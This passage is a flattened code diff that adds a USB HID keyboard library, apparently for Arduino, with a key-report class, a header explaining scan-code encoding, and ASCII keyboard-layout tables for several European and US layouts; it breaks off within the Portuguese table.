KEY_F1 0xC2 +#define KEY_F2 0xC3 +#define KEY_F3 0xC4 +#define KEY_F4 0xC5 +#define KEY_F5 0xC6 +#define KEY_F6 0xC7 +#define KEY_F7 0xC8 +#define KEY_F8 0xC9 +#define KEY_F9 0xCA +#define KEY_F10 0xCB +#define KEY_F11 0xCC +#define KEY_F12 0xCD +#define KEY_F13 0xF0 +#define KEY_F14 0xF1 +#define KEY_F15 0xF2 +#define KEY_F16 0xF3 +#define KEY_F17 0xF4 +#define KEY_F18 0xF5 +#define KEY_F19 0xF6 +#define KEY_F20 0xF7 +#define KEY_F21 0xF8 +#define KEY_F22 0xF9 +#define KEY_F23 0xFA +#define KEY_F24 0xFB + +// Supported keyboard layouts +extern const uint8_t KeyboardLayout_de_DE[]; +extern const uint8_t KeyboardLayout_en_US[]; +extern const uint8_t KeyboardLayout_es_ES[]; +extern const uint8_t KeyboardLayout_fr_FR[]; +extern const uint8_t KeyboardLayout_it_IT[]; +extern const uint8_t KeyboardLayout_pt_PT[]; +extern const uint8_t KeyboardLayout_sv_SE[]; +extern const uint8_t KeyboardLayout_da_DK[]; +extern const uint8_t KeyboardLayout_hu_HU[]; + +// Low level key report: up to 6 keys and shift, ctrl etc at once +typedef struct +{ + uint8_t modifiers; + uint8_t reserved; + uint8_t keys[6]; +} KeyReport; + +class Keyboard_ : public Print +{ +private: + KeyReport _keyReport; + const uint8_t *_asciimap; + void sendReport(KeyReport* keys); +public: + Keyboard_(void); + void begin(const uint8_t *layout = KeyboardLayout_en_US); + void end(void); + size_t write(uint8_t k); + size_t write(const uint8_t *buffer, size_t size); + size_t press(uint8_t k); + size_t release(uint8_t k); + void releaseAll(void); +}; +extern Keyboard_ Keyboard; + +#endif +#endif diff --git a/libraries/Keyboard/src/KeyboardLayout.h b/libraries/Keyboard/src/KeyboardLayout.h new file mode 100644 index 0000000..a01cdec --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout.h @@ -0,0 +1,67 @@ +/* + KeyboardLayout.h + + This file is not part of the public API. It is meant to be included + only in Keyboard.cpp and the keyboard layout files. Layout files map + ASCII character codes to keyboard scan codes (technically, to USB HID + Usage codes), possibly altered by the SHIFT or ALT_GR modifiers. + Non-ACSII characters (anything outside the 7-bit range NUL..DEL) are + not supported. + + == Creating your own layout == + + In order to create your own layout file, copy an existing layout that + is similar to yours, then modify it to use the correct keys. The + layout is an array in ASCII order. Each entry contains a scan code, + possibly modified by "|SHIFT" or "|ALT_GR", as in this excerpt from + the Italian layout: + + 0x35, // bslash + 0x30|ALT_GR, // ] + 0x2e|SHIFT, // ^ + + Do not change the control characters (those before scan code 0x2c, + corresponding to space). Do not attempt to grow the table past DEL. Do + not use both SHIFT and ALT_GR on the same character: this is not + supported. Unsupported characters should have 0x00 as scan code. + + For a keyboard with an ISO physical layout, use the scan codes below: + + +---+---+---+---+---+---+---+---+---+---+---+---+---+-------+ + |35 |1e |1f |20 |21 |22 |23 |24 |25 |26 |27 |2d |2e |BackSp | + +---+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-----+ + | Tab |14 |1a |08 |15 |17 |1c |18 |0c |12 |13 |2f |30 | Ret | + +-----++--++--++--++--++--++--++--++--++--++--++--++--++ | + |CapsL |04 |16 |07 |09 |0a |0b |0d |0e |0f |33 |34 |31 | | + +----+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+---+----+ + |Shi.|32 |1d |1b |06 |19 |05 |11 |10 |36 |37 |38 | Shift | + +----+---++--+-+-+---+---+---+---+---+--++---+---++----+----+ + |Ctrl|Win |Alt | |AlGr|Win |Menu|Ctrl| + +----+----+----+------------------------+----+----+----+----+ + + The ANSI layout is identical except that key 0x31 is above (rather + than next to) Return, and there is not key 0x32. + + Give a unique name to the layout array, then declare it in Keyboard.h + with a line of the form: + + extern const uint8_t KeyboardLayout_xx_YY[]; + + == Encoding details == + + All scan codes are less than 0x80, which makes bit 7 available to + signal that a modifier (Shift or AltGr) is needed to generate the + character. With only one exception, keys that are used with modifiers + have scan codes that are less than 0x40. This makes bit 6 available + to signal whether the modifier is Shift or AltGr. The exception is + 0x64, the key next next to Left Shift on the ISO layout (and absent + from the ANSI layout). We handle it by replacing its value by 0x32 in + the layout arrays. +*/ + +#include + +#define SHIFT 0x80 +#define ALT_GR 0xc0 +#define ISO_KEY 0x64 +#define ISO_REPLACEMENT 0x32 diff --git a/libraries/Keyboard/src/KeyboardLayout_da_DK.cpp b/libraries/Keyboard/src/KeyboardLayout_da_DK.cpp new file mode 100644 index 0000000..b7f9895 --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_da_DK.cpp @@ -0,0 +1,138 @@ +/* + * Danish keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_da_DK[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x1e|SHIFT, // ! + 0x1f|SHIFT, // " + 0x20|SHIFT, // # + 0x21|ALT_GR, // $ + 0x22|SHIFT, // % + 0x23|SHIFT, // & + 0x31, // ' + 0x25|SHIFT, // ( + 0x26|SHIFT, // ) + 0x31|SHIFT, // * + 0x2d, // + + 0x36, // , + 0x38, // - + 0x37, // . + 0x24|SHIFT, // / + 0x27, // 0 + 0x1e, // 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + 0x37|SHIFT, // : + 0x36|SHIFT, // ; + 0x32, // < + 0x27|SHIFT, // = + 0x32|SHIFT, // > + 0x2d|SHIFT, // ? + 0x1f|ALT_GR, // @ + 0x04|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x10|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x14|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1a|SHIFT, // W + 0x1b|SHIFT, // X + 0x1c|SHIFT, // Y + 0x1d|SHIFT, // Z + 0x25|ALT_GR, // [ + 0x32|ALT_GR, // bslash + 0x26|ALT_GR, // ] + 0x00, // ^ not supported (requires dead key + space) + 0x38|SHIFT, // _ + 0x00, // ` not supported (requires dead key + space) + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1c, // y + 0x1d, // z + 0x24|ALT_GR, // { + 0x2e|ALT_GR, // | + 0x27|ALT_GR, // } + 0x00, // ~ not supported (requires dead key + space) + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/KeyboardLayout_de_DE.cpp b/libraries/Keyboard/src/KeyboardLayout_de_DE.cpp new file mode 100644 index 0000000..858d956 --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_de_DE.cpp @@ -0,0 +1,138 @@ +/* + * German keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_de_DE[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x1e|SHIFT, // ! + 0x1f|SHIFT, // " + 0x31, // # + 0x21|SHIFT, // $ + 0x22|SHIFT, // % + 0x23|SHIFT, // & + 0x31|SHIFT, // ' + 0x25|SHIFT, // ( + 0x26|SHIFT, // ) + 0x30|SHIFT, // * + 0x30, // + + 0x36, // , + 0x38, // - + 0x37, // . + 0x24|SHIFT, // / + 0x27, // 0 + 0x1e, // 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + 0x37|SHIFT, // : + 0x36|SHIFT, // ; + 0x32, // < + 0x27|SHIFT, // = + 0x32|SHIFT, // > + 0x2d|SHIFT, // ? + 0x14|ALT_GR, // @ + 0x04|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x10|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x14|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1a|SHIFT, // W + 0x1b|SHIFT, // X + 0x1d|SHIFT, // Y + 0x1c|SHIFT, // Z + 0x25|ALT_GR, // [ + 0x2d|ALT_GR, // bslash + 0x26|ALT_GR, // ] + 0x00, // ^ not supported (requires dead key + space) + 0x38|SHIFT, // _ + 0x00, // ` not supported (requires dead key + space) + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1d, // y + 0x1c, // z + 0x24|ALT_GR, // { + 0x32|ALT_GR, // | + 0x27|ALT_GR, // } + 0x30|ALT_GR, // ~ + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/KeyboardLayout_en_US.cpp b/libraries/Keyboard/src/KeyboardLayout_en_US.cpp new file mode 100644 index 0000000..51d8dd5 --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_en_US.cpp @@ -0,0 +1,138 @@ +/* + * Standard US keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_en_US[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x1e|SHIFT, // ! + 0x34|SHIFT, // " + 0x20|SHIFT, // # + 0x21|SHIFT, // $ + 0x22|SHIFT, // % + 0x24|SHIFT, // & + 0x34, // ' + 0x26|SHIFT, // ( + 0x27|SHIFT, // ) + 0x25|SHIFT, // * + 0x2e|SHIFT, // + + 0x36, // , + 0x2d, // - + 0x37, // . + 0x38, // / + 0x27, // 0 + 0x1e, // 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + 0x33|SHIFT, // : + 0x33, // ; + 0x36|SHIFT, // < + 0x2e, // = + 0x37|SHIFT, // > + 0x38|SHIFT, // ? + 0x1f|SHIFT, // @ + 0x04|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x10|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x14|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1a|SHIFT, // W + 0x1b|SHIFT, // X + 0x1c|SHIFT, // Y + 0x1d|SHIFT, // Z + 0x2f, // [ + 0x31, // bslash + 0x30, // ] + 0x23|SHIFT, // ^ + 0x2d|SHIFT, // _ + 0x35, // ` + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1c, // y + 0x1d, // z + 0x2f|SHIFT, // { + 0x31|SHIFT, // | + 0x30|SHIFT, // } + 0x35|SHIFT, // ~ + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/KeyboardLayout_es_ES.cpp b/libraries/Keyboard/src/KeyboardLayout_es_ES.cpp new file mode 100644 index 0000000..93a89a9 --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_es_ES.cpp @@ -0,0 +1,138 @@ +/* + * Spanish keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_es_ES[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x1e|SHIFT, // ! + 0x1f|SHIFT, // " + 0x20|ALT_GR, // # + 0x21|SHIFT, // $ + 0x22|SHIFT, // % + 0x23|SHIFT, // & + 0x2d, // ' + 0x25|SHIFT, // ( + 0x26|SHIFT, // ) + 0x30|SHIFT, // * + 0x30, // + + 0x36, // , + 0x38, // - + 0x37, // . + 0x24|SHIFT, // / + 0x27, // 0 + 0x1e, // 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + 0x37|SHIFT, // : + 0x36|SHIFT, // ; + 0x32, // < + 0x27|SHIFT, // = + 0x32|SHIFT, // > + 0x2d|SHIFT, // ? + 0x1f|ALT_GR, // @ + 0x04|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x10|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x14|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1a|SHIFT, // W + 0x1b|SHIFT, // X + 0x1c|SHIFT, // Y + 0x1d|SHIFT, // Z + 0x2f|ALT_GR, // [ + 0x35|ALT_GR, // bslash + 0x30|ALT_GR, // ] + 0x00, // ^ not supported (requires dead key + space) + 0x38|SHIFT, // _ + 0x00, // ` not supported (requires dead key + space) + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1c, // y + 0x1d, // z + 0x34|ALT_GR, // { + 0x1e|ALT_GR, // | + 0x31|ALT_GR, // } + 0x00, // ~ not supported (requires dead key + space) + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/KeyboardLayout_fr_FR.cpp b/libraries/Keyboard/src/KeyboardLayout_fr_FR.cpp new file mode 100644 index 0000000..80fa6ce --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_fr_FR.cpp @@ -0,0 +1,138 @@ +/* + * Traditional (not AFNOR) French keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_fr_FR[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x38, // ! + 0x20, // " + 0x20|ALT_GR, // # + 0x30, // $ + 0x34|SHIFT, // % + 0x1E, // & + 0x21, // ' + 0x22, // ( + 0x2d, // ) + 0x31, // * + 0x2e|SHIFT, // + + 0x10, // , + 0x23, // - + 0x36|SHIFT, // . + 0x37|SHIFT, // / + 0x27|SHIFT, // 0 + 0x1e|SHIFT, // 1 + 0x1f|SHIFT, // 2 + 0x20|SHIFT, // 3 + 0x21|SHIFT, // 4 + 0x22|SHIFT, // 5 + 0x23|SHIFT, // 6 + 0x24|SHIFT, // 7 + 0x25|SHIFT, // 8 + 0x26|SHIFT, // 9 + 0x37, // : + 0x36, // ; + 0x32, // < + 0x2e, // = + 0x32|SHIFT, // > + 0x10|SHIFT, // ? + 0x27|ALT_GR, // @ + 0x14|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x33|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x04|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1d|SHIFT, // W + 0x1b|SHIFT, // X + 0x1c|SHIFT, // Y + 0x1a|SHIFT, // Z + 0x22|ALT_GR, // [ + 0x25|ALT_GR, // bslash + 0x2d|ALT_GR, // ] + 0x26|ALT_GR, // ^ + 0x25, // _ + 0x24|ALT_GR, // ` + 0x14, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x33, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x04, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1d, // w + 0x1b, // x + 0x1c, // y + 0x1a, // z + 0x21|ALT_GR, // { + 0x23|ALT_GR, // | + 0x2e|ALT_GR, // } + 0x1f|ALT_GR, // ~ + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/KeyboardLayout_hu_HU.cpp b/libraries/Keyboard/src/KeyboardLayout_hu_HU.cpp new file mode 100644 index 0000000..8d11e1e --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_hu_HU.cpp @@ -0,0 +1,144 @@ +/* + * Standard HU keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_hu_HU[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x21|SHIFT, // ! + 0x1f|SHIFT, // " + 0x1b|ALT_GR, // # + 0x33|ALT_GR, // $ + 0x22|SHIFT, // % + 0x06|ALT_GR, // & + 0x1e|SHIFT, // ' + 0x25|SHIFT, // ( + 0x26|SHIFT, // ) + 0x38|ALT_GR, // * + 0x20|SHIFT, // + + 0x36, // , + 0x38, // - + 0x37, // . + 0x23|SHIFT, // / + + 0x35, // 0 + 0x1e, // 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + + 0x37|SHIFT, // : + 0x36|ALT_GR, // ; + 0x32|ALT_GR, // < + 0x24|SHIFT, // = + 0x1d|ALT_GR, // > + 0x36|SHIFT, // ? + 0x19|ALT_GR, // @ + + 0x04|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x10|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x14|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1a|SHIFT, // W + 0x1b|SHIFT, // X + 0x1d|SHIFT, // Y + 0x1c|SHIFT, // Z + + 0x09|ALT_GR, // [ + 0x14|ALT_GR, // bslash + 0x0a|ALT_GR, // ] + 0x20|ALT_GR, // ^ + 0x38|SHIFT, // _ + 0x24|ALT_GR, // ` + + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1d, // y + 0x1c, // z + + 0x05|ALT_GR, // { + 0x1a|ALT_GR, // | + 0x11|ALT_GR, // } + 0x1e|ALT_GR, // ~ + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/KeyboardLayout_it_IT.cpp b/libraries/Keyboard/src/KeyboardLayout_it_IT.cpp new file mode 100644 index 0000000..b24588f --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_it_IT.cpp @@ -0,0 +1,138 @@ +/* + * Italian keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_it_IT[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x1e|SHIFT, // ! + 0x1f|SHIFT, // " + 0x34|ALT_GR, // # + 0x21|SHIFT, // $ + 0x22|SHIFT, // % + 0x23|SHIFT, // & + 0x2d, // ' + 0x25|SHIFT, // ( + 0x26|SHIFT, // ) + 0x30|SHIFT, // * + 0x30, // + + 0x36, // , + 0x38, // - + 0x37, // . + 0x24|SHIFT, // / + 0x27, // 0 + 0x1e, // 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + 0x37|SHIFT, // : + 0x36|SHIFT, // ; + 0x32, // < + 0x27|SHIFT, // = + 0x32|SHIFT, // > + 0x2d|SHIFT, // ? + 0x33|ALT_GR, // @ + 0x04|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x10|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x14|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1a|SHIFT, // W + 0x1b|SHIFT, // X + 0x1c|SHIFT, // Y + 0x1d|SHIFT, // Z + 0x2f|ALT_GR, // [ + 0x35, // bslash + 0x30|ALT_GR, // ] + 0x2e|SHIFT, // ^ + 0x38|SHIFT, // _ + 0x00, // ` not in this layout + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1c, // y + 0x1d, // z + 0x00, // { not supported (requires AltGr+Shift) + 0x35|SHIFT, // | + 0x00, // } not supported (requires AltGr+Shift) + 0x00, // ~ not in this layout + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/KeyboardLayout_pt_PT.cpp b/libraries/Keyboard/src/KeyboardLayout_pt_PT.cpp new file mode 100644 index 0000000..025e10f --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_pt_PT.cpp @@ -0,0 +1,138 @@ +/* + * Portuguese keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_pt_PT[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x1e|SHIFT, // ! + 0x1f|SHIFT, // " + 0x20|SHIFT, // # + 0x21|SHIFT, // $ + 0x22|SHIFT, // % + 0x23|SHIFT, // & + 0x2d, // ' + 0x25|SHIFT, // ( + 0x26|SHIFT, // ) + 0x2f|SHIFT, // * + 0x2f, // + + 0x36, // , + 0x38, // - + 0x37, // . + 0x24|SHIFT, // / + 0x27, // 0 + 0x1e, 